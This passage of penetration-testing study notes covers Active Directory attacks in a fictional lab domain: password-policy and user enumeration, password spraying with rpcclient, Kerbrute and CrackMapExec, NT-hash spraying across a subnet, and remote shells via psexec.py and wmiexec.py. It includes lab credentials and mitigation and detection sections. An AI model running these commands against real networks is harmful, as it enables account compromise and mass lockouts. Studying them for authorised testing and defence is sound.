`PowerShell Scripts` tab, and select "For this GPO, run scripts in the following order" to `Run Windows PowerShell scripts first`, and then click on `Add` and choose the script. For these changes to occur, we would have to either reboot the target system or restart the network adapter.
To push this out to all hosts in a domain, we could create a GPO using `Group Policy Management` on the Domain Controller and host the script on the SYSVOL share in the scripts folder and then call it via its UNC path such as: `\\inlanefreight.local\SYSVOL\INLANEFREIGHT.LOCAL\scripts` Other mitigations include filtering network traffic to block LLMNR/NetBIOS traffic and enabling SMB Signing to prevent NTLM relay attacks. Network intrusion detection and prevention systems can also be used to mitigate this activity, while network segmentation can be used to isolate hosts that require LLMNR or NetBIOS enabled to operate correctly. ## Detection It is not always possible to disable LLMNR and NetBIOS, and therefore we need ways to detect this type of attack behavior. One way is to use the attack against the attackers by injecting LLMNR and NBT-NS requests for non-existent hosts across different subnets and alerting if any of the responses receive answers which would be indicative of an attacker spoofing name resolution responses. This [blog post](https://www.praetorian.com/blog/a-simple-and-effective-way-to-detect-broadcast-name-resolution-poisoning-bnrp/) explains this method more in-depth. Furthermore, hosts can be monitored for traffic on ports UDP 5355 and 137, and event IDs [4697](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4697) and [7045](https://www.manageengine.com/products/active-directory-audit/kb/system-events/event-id-7045.html) can be monitored for. Finally, we can monitor the registry key `HKLM\Software\Policies\Microsoft\Windows NT\DNSClient` for changes to the `EnableMulticast` DWORD value. A value of `0` would mean that LLMNR is disabled. # Sighting In, Hunting For A User ## Password Spraying Overview Password spraying can result in gaining access to systems and potentially gaining a foothold on a target network. The attack involves attempting to log into an exposed service using one common password and a longer list of usernames or email addresses. ### Password Spraying Considerations {% hint style="danger" %} While password spraying is useful for a penetration tester or red teamer, careless use may cause considerable harm, such as locking out hundreds of production accounts. {% endhint %} One example is brute-forcing attempts to identify the password for an account using a long list of passwords. In contrast, password spraying is a more measured attack, utilizing very common passwords across multiple industries. The below table visualizes a password spray.
AttackUsernamePassword
1bob.smith@inlanefreight.localWelcome1
1john.doe@inlanefreight.localWelcome1
1jane.doe@inlanefreight.localWelcome1
DELAY
2bob.smith@inlanefreight.localPassw0rd
2john.doe@inlanefreight.localPassw0rd
2jane.doe@inlanefreight.localPassw0rd
DELAY
3bob.smith@inlanefreight.localWinter2022
3john.doe@inlanefreight.localWinter2022
3jane.doe@inlanefreight.localWinter2022
It’s common to find a password policy that allows five bad attempts before locking out the account, with a 30-minute auto-unlock threshold. If you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset. It is best to obtain the password policy before attempting the attack during an internal assessment, but this is not always possible. We can err on the side of caution and either choose to do just one targeted password spraying attempt using a weak/common password as a "hail mary" if all other options for a foothold or furthering access have been exhausted. Depending on the type of assessment, we can always ask the client to clarify the password policy. If we already have a foothold or were provided a user account as part of testing, we can enumerate the password policy in various ways. ## Enumerating & Retrieving Password Policies ### Enumerating the Password Policy - from Linux - Credentialed With valid domain credentials, the password policy can also be obtained remotely using tools such as [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) (or the successor: [NetExec](https://www.netexec.wiki/)) or `rpcclient`. ```bash crackmapexec smb -u -p --pass-pol ``` ### Enumerating the Password Policy - from Linux - SMB NULL Sessions Without credentials, we may be able to obtain the password policy via an SMB NULL session or LDAP anonymous bind. An SMB NULL session can be enumerated easily. For enumeration, we can use tools such as `enum4linux`, `CrackMapExec` (or the successor: [NetExec](https://www.netexec.wiki/)), `rpcclient`, etc. We can use [rpcclient](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html) to check a Domain Controller for SMB NULL session access. Once connected, we can issue an RPC command such as `querydominfo` to obtain information about the domain and confirm NULL session access. ```bash rpcclient -U "" -N rpcclient $> querydominfo ``` Let's try this using [enum4linux](https://labs.portcullis.co.uk/tools/enum4linux). `enum4linux` is a tool built around the [Samba suite of tools](https://www.samba.org/samba/docs/current/man-html/samba.7.html) `nmblookup`, `net`, `rpcclient` and `smbclient` to use for enumeration of windows hosts and domains ```bash enum4linux -P ``` The tool [enum4linux-ng](https://github.com/cddmp/enum4linux-ng) is a rewrite of `enum4linux` in Python, but has additional features such as the ability to export data as YAML or JSON files which can later be used to process the data further or feed it to other tools. It also supports colored output, among other features ```bash enum4linux-ng -P -oA ``` ### Enumerating Null Session - from Windows It is less common to do this type of null session attack from Windows, but we could use the command `net use \\host\ipc$ "" /u:""` to establish a null session from a windows machine and confirm if we can perform more of this type of attack. ```cmd-session net use \\DC01\ipc$ "" /u:"" ``` Let's see some common errors when trying to authenticate: **Error: Account is Disabled** ```cmd-session net use \\DC01\ipc$ "" /u:guest System error 1331 has occurred. This user can't sign in because this account is currently disabled. ``` **Error: Password is Incorrect** ```cmd-session net use \\DC01\ipc$ "password" /u:guest System error 1326 has occurred. The user name or password is incorrect. ``` **Error: Account is locked out (Password Policy)** ```cmd-session net use \\DC01\ipc$ "password" /u:guest System error 1909 has occurred. The referenced account is currently locked out and may not be logged on to. ``` ### Enumerating the Password Policy - from Linux - LDAP Anonymous Bind [LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. With an LDAP anonymous bind, we can use LDAP-specific enumeration tools such as `windapsearch.py`, `ldapsearch`, `ad-ldapdomaindump.py`, etc., to pull the password policy. With [ldapsearch](https://linux.die.net/man/1/ldapsearch), it can be a bit cumbersome but doable. One example command to get the password policy is as follows: ```bash ldapsearch -h -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength ``` ### Enumerating the Password Policy - from Windows If we can authenticate to the domain from a Windows host, we can use built-in Windows binaries such as `net.exe` to retrieve the password policy. We can also use various tools such as PowerView, CrackMapExec ported to Windows, SharpMapExec, SharpView, etc. Using built-in commands is helpful if we land on a Windows system and cannot transfer tools to it, or we are positioned on a Windows system by the client, but have no way of getting tools onto it. One example using the built-in net.exe binary is: ```batch net accounts ``` PowerView is also quite handy for this: ```powershell import-module .\PowerView.ps1 Get-DomainPolicy ``` The choice of tools depends on the goal of the assessment, stealth considerations, any anti-virus or EDR in place, and other potential restrictions on the target host. ## Password Spraying - Making a Target User List ### Detailed User Enumeration To mount a successful password spraying attack, we first need a list of valid domain users to attempt to authenticate with. There are several ways that we can gather a target list of valid users: * By leveraging an SMB NULL session to retrieve a complete list of domain users from the domain controller * Utilizing an LDAP anonymous bind to query LDAP anonymously and pull down the domain user list * Using a tool such as `Kerbrute` to validate users utilizing a word list from a source such as the [statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) GitHub repo, or gathered by using a tool such as [linkedin2username](https://github.com/initstring/linkedin2username) to create a list of potentially valid users * Using a set of credentials from a Linux or Windows attack system either provided by our client or obtained through another means such as LLMNR/NBT-NS response poisoning using `Responder` or even a successful password spray using a smaller wordlist Regardless of the method we choose, and if we have the password policy or not, we must always keep a log of our activities, including, but not limited to: * The accounts targeted * Domain Controller used in the attack * Time of the spray * Date of the spray * Password(s) attempted This will help us ensure that we do not duplicate efforts. If an account lockout occurs or our client notices suspicious logon attempts, we can supply them with our notes to crosscheck against their logging systems and ensure nothing nefarious was going on in the network. ### SMB NULL Session to Pull User List If you are on an internal machine but don’t have valid domain credentials, you can look for SMB NULL sessions or LDAP anonymous binds on Domain Controllers. Either of these will allow you to obtain an accurate list of all users within Active Directory and the password policy. If you already have credentials for a domain user or `SYSTEM` access on a Windows host, then you can easily query Active Directory for this information. It’s possible to do this using the SYSTEM account because it can `impersonate` the computer. A computer object is treated as a domain user account (with some differences, such as authenticating across forest trusts). If you don’t have a valid domain account, and SMB NULL sessions and LDAP anonymous binds are not possible, you can create a user list using external resources such as email harvesting and LinkedIn. This user list will not be as complete, but it may be enough to provide you with access to Active Directory. Some tools that can leverage SMB NULL sessions and LDAP anonymous binds include [enum4linux](https://github.com/portcullislabs/enum4linux), [rpcclient](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html), and [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) (or the successor: [NetExec](https://www.netexec.wiki/)), among others. Regardless of the tool, we'll have to do a bit of filtering to clean up the output and obtain a list of only usernames, one on each line. We can do this with `enum4linux` with the `-U` flag. ```bash enum4linux -U | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]" ``` We can use the `enumdomusers` command after connecting anonymously using `rpcclient`. ```bash rpcclient -U "" -N rpcclient $> enumdomusers ``` Finally, we can use `CrackMapExec` with the `--users` flag. This is a useful tool that will also show the `badpwdcount` (invalid login attempts), so we can remove any accounts from our list that are close to the lockout threshold. It also shows the `baddpwdtime`, which is the date and time of the last bad password attempt, so we can see how close an account is to having its `badpwdcount` reset. ```bash crackmapexec smb --users ``` ### Gathering Users with LDAP Anonymous We can use various tools to gather users when we find an LDAP anonymous bind. Some examples include [windapsearch](https://github.com/ropnop/windapsearch) and [ldapsearch](https://linux.die.net/man/1/ldapsearch). If we choose to use `ldapsearch` we will need to specify a valid LDAP search filter. ```bash ldapsearch -h -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" " ``` Tools such as `windapsearch` make this easier. Here we can specify anonymous access by providing a blank username with the `-u` flag and the `-U` flag to tell the tool to retrieve just users. ```bash ./windapsearch.py --dc-ip -u "" -U ``` ### Enumerating Users with Kerbrute As mentioned in the `Initial Enumeration of The Domain` section, if we have no access at all from our position in the internal network, we can use `Kerbrute` to enumerate valid AD accounts and for password spraying. This tool uses [Kerberos Pre-Authentication](https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication), which is a much faster and potentially stealthier way to perform password spraying. This method does not generate Windows event ID [4625: An account failed to log on](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625), or a logon failure which is often monitored for. The tool sends TGT requests to the domain controller without Kerberos Pre-Authentication to perform username enumeration. If the KDC responds with the error `PRINCIPAL UNKNOWN`, the username is invalid. **This method of username enumeration does not cause logon failures and will not lock out accounts.** However, once we have a list of valid users and switch gears to use this tool for password spraying, failed Kerberos Pre-Authentication attempts will count towards an account's failed login accounts and can lead to account lockout, so we still must be careful regardless of the method chosen. Let's try out this method using the [jsmith.txt](https://github.com/insidetrust/statistically-likely-usernames/blob/master/jsmith.txt) wordlist of 48,705 possible common usernames in the format `flast`. The [statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) GitHub repo is an excellent resource for this type of attack and contains a variety of different username lists that we can use to enumerate valid usernames using `Kerbrute`. ```bash kerbrute userenum -d --dc /opt/jsmith.txt ``` Using Kerbrute for username enumeration will generate event ID [4768: A Kerberos authentication ticket (TGT) was requested](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768). This will only be triggered if [Kerberos event logging](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-kerberos-event-logging) is enabled via Group Policy. {% hint style="info" %} Defenders can tune their SIEM tools to look for an influx of this event ID, which may indicate an attack. If we are successful with this method during a penetration test, this can be an excellent recommendation to add to our report. {% endhint %} If we are unable to create a valid username list using any of the methods highlighted above, we could turn back to external information gathering and search for company email addresses or use a tool such as [linkedin2username](https://github.com/initstring/linkedin2username) to mash up possible usernames from a company's LinkedIn page. ### Credentialed Enumeration to Build our User List With valid credentials, we can use any of the tools stated previously to build a user list. A quick and easy way is using CrackMapExec. ```bash sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users ``` # Spray Responsibly ## Internal Password Spraying - from Linux `Rpcclient` is an excellent option for performing this attack from Linux. An important consideration is that a valid login is not immediately apparent with `rpcclient`, with the response `Authority Name` indicating a successful login. We can filter out invalid login attempts by `grepping` for `Authority` in the response. The following Bash one-liner (adapted from [here](https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/)) can be used to perform the attack. ```bash for u in $(cat valid_users.txt);do rpcclient -U "$u%" -c "getusername;quit" | grep Authority; done ``` We can also use `Kerbrute` for the same attack as discussed previously. ```bash kerbrute passwordspray -d --dc valid_users.txt ``` There are multiple other methods for performing password spraying from Linux. Another great option is using `CrackMapExec` (or the successor: [NetExec](https://www.netexec.wiki/)). The ever-versatile tool accepts a text file of usernames to be run against a single password in a spraying attack. Here we grep for `+` to filter out logon failures and hone in on only valid login attempts to ensure we don't miss anything by scrolling through many lines of output. ```bash sudo crackmapexec smb -u valid_users.txt -p | grep + ``` After getting one (or more!) hits with our password spraying attack, we can then use `CrackMapExec` (or the successor: [NetExec](https://www.netexec.wiki/)) to validate the credentials quickly against a Domain Controller. ```bash sudo crackmapexec smb -u -p PASSWORD ``` ### Local Administrator Password Reuse Internal password spraying is not only possible with domain user accounts. If you obtain administrative access and the NTLM password hash or cleartext password for the local administrator account (or another privileged local account), this can be attempted across multiple hosts in the network. Local administrator account password reuse is widespread due to the use of gold images in automated deployments and the perceived ease of management by enforcing the same password across multiple hosts. CrackMapExec (or the successor: [NetExec](https://www.netexec.wiki/)) is a handy tool for attempting this attack. It is worth targeting high-value hosts such as `SQL` or `Microsoft Exchange` servers, as they are more likely to have a highly privileged user logged in or have their credentials persistent in memory. If we find a desktop host with the local administrator account password set to something unique such as `$desktop%@admin123`, it might be worth attempting `$server%@admin123` against servers. Also, if we find non-standard local administrator accounts such as `bsmith`, we may find that the password is reused for a similarly named domain user account. Sometimes we may only retrieve the NTLM hash for the local administrator account from the local SAM database. In these instances, we can spray the NT hash across an entire subnet (or multiple subnets) to hunt for local administrator accounts with the same password set. n the example below, we attempt to authenticate to all hosts in a /23 network using the built-in local administrator account NT hash retrieved from another machine. {% hint style="info" %} The `--local-auth` flag will tell the tool only to attempt to log in one time on each machine which removes any risk of account lockout. {% endhint %} ```bash sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep + ``` This technique, while effective, is quite noisy and is not a good choice for any assessments that require stealth. It is always worth looking for this issue during penetration tests, even if it is not part of our path to compromise the domain, as it is a common issue and should be highlighted for our clients. One way to remediate this issue is using the free Microsoft tool [Local Administrator Password Solution (LAPS)](https://www.microsoft.com/en-us/download/details.aspx?id=46899) to have Active Directory manage local administrator passwords and enforce a unique password on each host that rotates on a set interval. ## Internal Password Spraying - from Windows From a foothold on a domain-joined Windows host, the [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) tool is highly effective. If we are authenticated to the domain, the tool will automatically generate a user list from Active Directory, query the domain password policy, and exclude user accounts within one attempt of locking out. Like how we ran the spraying attack from our Linux host, we can also supply a user list to the tool if we are on a Windows host but not authenticated to the domain. There are several options available to us with the tool. Since the host is domain-joined, we will skip the `-UserList` flag and let the tool generate a list for us. We'll supply the `Password` flag and one single password and then use the `-OutFile` flag to write our output to a file for later use. **Password Spray from a domain joined Windows Host** ```powershell Import-Module .\DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue ``` We could also utilize Kerbrute to perform the same user enumeration and spraying steps shown in the previous section. The tool is present in the `C:\Tools` directory if you wish to work through the same examples from the provided Windows host. ### Mitigations Several steps can be taken to mitigate the risk of password spraying attacks. While no single solution will entirely prevent the attack, a defense-in-depth approach will render password spraying attacks extremely difficult.
TechniqueDescription
Multi-factor AuthenticationMulti-factor authentication can greatly reduce the risk of password spraying attacks. Many types of multi-factor authentication exist, such as push notifications to a mobile device, a rotating One Time Password (OTP) such as Google Authenticator, RSA key, or text message confirmations. While this may prevent an attacker from gaining access to an account, certain multi-factor implementations still disclose if the username/password combination is valid. It may be possible to reuse this credential against other exposed services or applications. It is important to implement multi-factor solutions with all external portals.
Restricting AccessIt is often possible to log into applications with any domain user account, even if the user does not need to access it as part of their role. In line with the principle of least privilege, access to the application should be restricted to those who require it.
Reducing Impact of Successful ExploitationA quick win is to ensure that privileged users have a separate account for any administrative activities. Application-specific permission levels should also be implemented if possible. Network segmentation is also recommended because if an attacker is isolated to a compromised subnet, this may slow down or entirely stop lateral movement and further compromise.
Password HygieneEducating users on selecting difficult to guess passwords such as passphrases can significantly reduce the efficacy of a password spraying attack. Also, using a password filter to restrict common dictionary words, names of months and seasons, and variations on the company's name will make it quite difficult for an attacker to choose a valid password for spraying attempts.
### Other Considerations It is vital to ensure that your domain password lockout policy doesn’t increase the risk of denial of service attacks. If it is very restrictive and requires an administrative intervention to unlock accounts manually, a careless password spray may lock out many accounts within a short period. ### Detection Some indicators of external password spraying attacks include many account lockouts in a short period, server or application logs showing many login attempts with valid or non-existent users, or many requests in a short period to a specific application or URL. In the Domain Controller’s security log, many instances of event ID [4625: An account failed to log on](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625) over a short period may indicate a password spraying attack. Organizations should have rules to correlate many logon failures within a set time interval to trigger an alert. A more savvy attacker may avoid SMB password spraying and instead target LDAP. Organizations should also monitor event ID [4771: Kerberos pre-authentication failed](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4771), which may indicate an LDAP password spraying attempt. To do so, they will need to enable Kerberos logging. This [post](https://www.hub.trimarcsecurity.com/post/trimarc-research-detecting-password-spraying-with-security-event-auditing) details research around detecting password spraying using Windows Security Event Logging. ### External Password Spraying password spraying is also a common way that attackers use to attempt to gain a foothold on the internet. We have been very successful with this method during penetration tests to gain access to sensitive data through email inboxes or web applications such as externally facing intranet sites. Some common targets include: * Microsoft 0365 * Outlook Web Exchange * Exchange Web Access * Skype for Business * Lync Server * Microsoft Remote Desktop Services (RDS) Portals * Citrix portals using AD authentication * VDI implementations using AD authentication such as VMware Horizon * VPN portals (Citrix, SonicWall, OpenVPN, Fortinet, etc. that use AD authentication) * Custom web applications that use AD authentication # Deeper Down the Rabbit Hole ## Enumerating Security Controls After gaining a foothold, we could use this access to get a feeling for the defensive state of the hosts, enumerate the domain further now that our visibility is not as restricted, and, if necessary, work at "living off the land" by using tools that exist natively on the hosts. Understanding the protections we may be up against will help inform our decisions regarding tool usage and assist us in planning our course of action by either avoiding or modifying certain tools. Some organizations have more stringent protections than others, and some do not apply security controls equally throughout. There may be policies applied to certain machines that can make our enumeration more difficult that are not applied on other machines. ### Windows Defender Windows Defender (or [Microsoft Defender](https://en.wikipedia.org/wiki/Microsoft_Defender) after the Windows 10 May 2020 Update) has greatly improved over the years and, by default, will block tools such as `PowerView`. There are ways to bypass these protections. These ways will be covered in other modules. We can use the built-in PowerShell cmdlet [Get-MpComputerStatus](https://docs.microsoft.com/en-us/powershell/module/defender/get-mpcomputerstatus?view=win10-ps) to get the current Defender status. Here, we can see that the `RealTimeProtectionEnabled` parameter is set to `True`, which means Defender is enabled on the system. ```powershell Get-MpComputerStatus ``` ### AppLocker An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization. [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's application whitelisting solution and gives system administrators control over which applications and files users can run. It provides granular control over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers. It is common for organizations to block cmd.exe and PowerShell.exe and write access to certain directories, but this can all be bypassed. Organizations also often focus on blocking the `PowerShell.exe` executable, but forget about the other [PowerShell executable locations](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) such as `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` or `PowerShell_ISE.exe`. ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections ``` ### PowerShell Constrained Language Mode PowerShell [Constrained Language Mode](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) locks down many of the features needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more. We can quickly enumerate whether we are in Full Language Mode or Constrained Language Mode. ```powershell $ExecutionContext.SessionState.LanguageMode ``` ### LAPS The Microsoft [Local Administrator Password Solution (LAPS)](https://www.microsoft.com/en-us/download/details.aspx?id=46899) is used to randomize and rotate local administrator passwords on Windows hosts and prevent lateral movement. We can enumerate what domain users can read the LAPS password set for machines with LAPS installed and what machines do not have LAPS installed. The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) greatly facilitates this with several functions. One is parsing `ExtendedRights` for all computers with LAPS enabled. This will show groups specifically delegated to read LAPS passwords, which are often users in protected groups. An account that has joined a computer to a domain receives `All Extended Rights` over that host, and this right gives the account the ability to read passwords. Enumeration may show a user account that can read the LAPS password on a host. This can help us target specific AD users who can read LAPS passwords. ```powershell Find-LAPSDelegatedGroups ``` The `Find-AdmPwdExtendedRights` checks the rights on each computer with LAPS enabled for any groups with read access and users with "All Extended Rights." Users with "All Extended Rights" can read LAPS passwords and may be less protected than users in delegated groups, so this is worth checking for. ```powershell Find-AdmPwdExtendedRights ``` We can use the `Get-LAPSComputers` function to search for computers that have LAPS enabled when passwords expire, and even the randomized passwords in cleartext if our user has access. ```powershell Get-LAPSComputers ``` ## Credentialed Enumeration - from Linux ### CrackMapExec or [NetExec](https://www.netexec.wiki/) ```bash crackmapexec smb -h ``` For now, the flags we are interested in are: * -u Username `The user whose credentials we will use to authenticate` * -p Password `User's password` * Target (IP or FQDN) `Target host to enumerate` (in our case, the Domain Controller) * \--users `Specifies to enumerate Domain Users` * \--groups `Specifies to enumerate domain groups` * \--loggedon-users `Attempts to enumerate what users are logged on to a target, if any` **CME - Domain User Enumeration** ```bash sudo crackmapexec smb -u -p --users ``` We can also obtain a complete listing of domain groups. We should save all of our output to files to easily access it again later for reporting or use with other tools. **CME - Domain Group Enumeration** ```bash sudo crackmapexec smb -u -p --groups ``` We can begin to note down groups of interest. Take note of key groups like `Administrators`, `Domain Admins`, `Executives`, any groups that may contain privileged IT admins, etc. These groups will likely contain users with elevated privileges worth targeting during our assessment. **CME - Logged On Users** ```bash sudo crackmapexec smb -u -p --loggedon-users ``` We can also see that our user `forend` is a local admin because `(Pwn3d!)` appears after the tool successfully authenticates to the target host. We can see that the user `svc_qualys` is logged in, who we earlier identified as a domain admin. It could be an easy win if we can steal this user's credentials from memory or impersonate them. As we will see later, `BloodHound` (and other tools such as `PowerView`) can be used to hunt for user sessions. BloodHound is particularly powerful as we can use it to view Domain User sessions graphically and quickly in many ways. Regardless, tools such as CME are great for more targeted enumeration and user hunting. **CME Share Searching** ```bash sudo crackmapexec smb -u -p --shares ``` Next, we can dig into the shares and spider each directory looking for files. The module `spider_plus` will dig through each readable share on the host and list all readable files. Let's give it a try. ```bash sudo crackmapexec smb -u -p -M spider_plus --share '' ``` When completed, CME writes the results to a JSON file located at `/tmp/cme_spider_plus/` ### SMBMap SMBMap is great for enumerating SMB shares from a Linux attack host. It can be used to gather a listing of shares, permissions, and share contents if accessible. Once access is obtained, it can be used to download and upload files and execute remote commands. **SMBMap To Check Access** ```bash smbmap -u -p -d -H ``` Let's do a recursive listing of the directories in the `Department Shares` share. We can see, as expected, subdirectories for each department in the company. **Recursive List Of All Directories** ```bash smbmap -u -p -d -H -R 'Department Shares' --dir-only ``` ### rpcclient Due to SMB NULL sessions (covered in-depth in the password spraying sections) on some of our hosts, we can perform authenticated or unauthenticated enumeration using rpcclient in the INLANEFREIGHT.LOCAL domain. An example of using rpcclient from an unauthenticated standpoint (if this configuration exists in our target domain) would be: ```bash rpcclient -U "" -N ``` From here, we can begin to enumerate any number of different things. Let's start with domain users. **rpcclient Enumeration** While looking at users in rpcclient, you may notice a field called `rid:` beside each user. A [Relative Identifier (RID)](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers) is a unique identifier (represented in hexadecimal format) utilized by Windows to track and identify objects. To explain how this fits in, let's look at the examples below: * The [SID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers) for the INLANEFREIGHT.LOCAL domain is: `S-1-5-21-3842939050-3880317879-2865463114`. * When an object is created within a domain, the number above (SID) will be combined with a RID to make a unique value used to represent the object. * So the domain user `htb-student` with a RID:\[0x457] Hex 0x457 would = decimal `1111`, will have a full user SID of: `S-1-5-21-3842939050-3880317879-2865463114-1111`. * This is unique to the `htb-student` object in the INLANEFREIGHT.LOCAL domain and you will never see this paired value tied to another object in this domain or any other. However, there are accounts that you will notice that have the same RID regardless of what host you are on. Accounts like the built-in Administrator for a domain will have a RID \[administrator] rid:\[0x1f4], which, when converted to a decimal value, equals `500`. The built-in Administrator account will always have the RID value `Hex 0x1f4`, or 500. This will always be the case. Since this value is unique to an object, we can use it to enumerate further information about it from the domain. Let's give it a try again with rpcclient. We will dig a bit targeting the `htb-student` user. ```shell-session rpcclient $> queryuser 0x457 ``` When we searched for information using the `queryuser` command against the RID `0x457`, RPC returned the user information for `htb-student` as expected. This wasn't hard since we already knew the RID for `htb-student`. If we wished to enumerate all users to gather the RIDs for more than just one, we would use the `enumdomusers` command. Using it in this manner will print out all domain users by name and RID. Our enumeration can go into great detail utilizing rpcclient. We could even start performing actions such as editing users and groups or adding our own into the domain. ### Impacket Toolkit Impacket is a versatile toolkit that provides us with many different ways to enumerate, interact, and exploit Windows protocols and find the information we need using Python. **Psexec.py** One of the most useful tools in the Impacket suite is `psexec.py`. Psexec.py is a clone of the Sysinternals psexec executable, but works slightly differently from the original. The tool creates a remote service by uploading a randomly-named executable to the `ADMIN$` share on the target host. It then registers the service via `RPC` and the `Windows Service Control Manager`. Once established, communication happens over a named pipe, providing an interactive remote shell as `SYSTEM` on the victim host. ```bash psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125 ``` ```bash psexec.py :''@ ``` Once we execute the psexec module, it drops us into the `system32` directory on the target host. We ran the `whoami` command to verify, and it confirmed that we landed on the host as `SYSTEM`. **wmiexec.py** Wmiexec.py utilizes a semi-interactive shell where commands are executed through [Windows Management Instrumentation](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page). It does not drop any files or executables on the target host and generates fewer logs than other modules. After connecting, it runs as the local admin user we connected with (this can be less obvious to someone hunting for an intrusion than seeing SYSTEM executing many commands). This is a more stealthy approach to execution on hosts than other tools, but would still likely be caught by most modern anti-virus and EDR systems. ```bash wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5 ``` ```bash wmiexec.py :''@ -u @ -p --da ``` To identify more potential users, we can run the tool with the `-PU` flag and check for users with elevated privileges that may have gone unnoticed. This is a great check for reporting since it will most likely inform the customer of users with excess privileges from nested group membership. ```bash python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU ``` ```bash python3 windapsearch.py --dc-ip -u @ -p -PU ``` You'll notice that it performed mutations against common elevated group names in different languages. This output gives an example of the dangers of nested group membership, and this will become more evident when we work with BloodHound graphics to visualize this. ### Bloodhound.py BloodHound is one of, if not the most impactful tools ever released for auditing Active Directory security, and it is hugely beneficial for us as penetration testers. We can take large amounts of data that would be time-consuming to sift through and create graphical representations or "attack paths" of where access with a particular user may lead. The tool consists of two parts: the [SharpHound collector](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors) written in C# for use on Windows systems, or for this section, the BloodHound.py collector (also referred to as an `ingestor`) and the [BloodHound](https://github.com/BloodHoundAD/BloodHound/releases) GUI tool which allows us to upload collected data in the form of JSON files. Once uploaded, we can run various pre-built queries or write custom queries using [Cypher language](https://blog.cptjesus.com/posts/introtocypher). The tool collects data from AD such as users, groups, computers, group membership, GPOs, ACLs, domain trusts, local admin access, user sessions, computer and user properties, RDP access, WinRM access, etc. It was initially only released with a PowerShell collector, so it had to be run from a Windows host. Eventually, a Python port (which requires Impacket, `ldap3`, and `dnspython`) was released by a community member. This helped immensely during penetration tests when we have valid domain credentials, but do not have rights to access a domain-joined Windows host or do not have a Windows attack host to run the SharpHound collector from. This also helps us not have to run the collector from a domain host, which could potentially be blocked or set off alerts (though even running it from our attack host will most likely set off alarms in well-protected environments). Running `bloodhound-python -h` from our Linux attack host will show us the options available. ```bash bloodhound-python -h ``` **Executing BloodHound.py** ```bash sudo bloodhound-python -u '' -p '' -ns -d -c all ``` The `-c all` flag told the tool to run all checks. Once the script finishes, we will see the output files in the current working directory in the format of \. **Upload the Zip File into the BloodHound GUI** We could then type `sudo neo4j start` to start the [neo4j](https://neo4j.com/) service, firing up the database we'll load the data into and also run Cypher queries against. Next, we can type `bloodhound` from our Linux attack host to start the BloodHound GUI application and upload the data. HTB credentials: `user == neo4j` / `pass == HTB_@cademy_stdnt!` We can either upload each JSON file one by one or zip them first with a command such as `zip -r ilfreight_bh.zip *.json` and upload the Zip file. We do this by clicking the `Upload Data` button on the right side of the window (green arrow). When the file browser window pops up to select a file, choose the zip file (or each JSON file) (red arrow) and hit `Open`.
Now that the data is loaded, we can use the Analysis tab to run queries against the database. These queries can be custom and specific to what you decide using [custom Cypher queries](https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/). There are many great cheat sheets to help us here. We will discuss custom Cypher queries more in a later section. As seen below, we can use the built-in `Path Finding` queries on the `Analysis tab` on the `Left` side of the window.
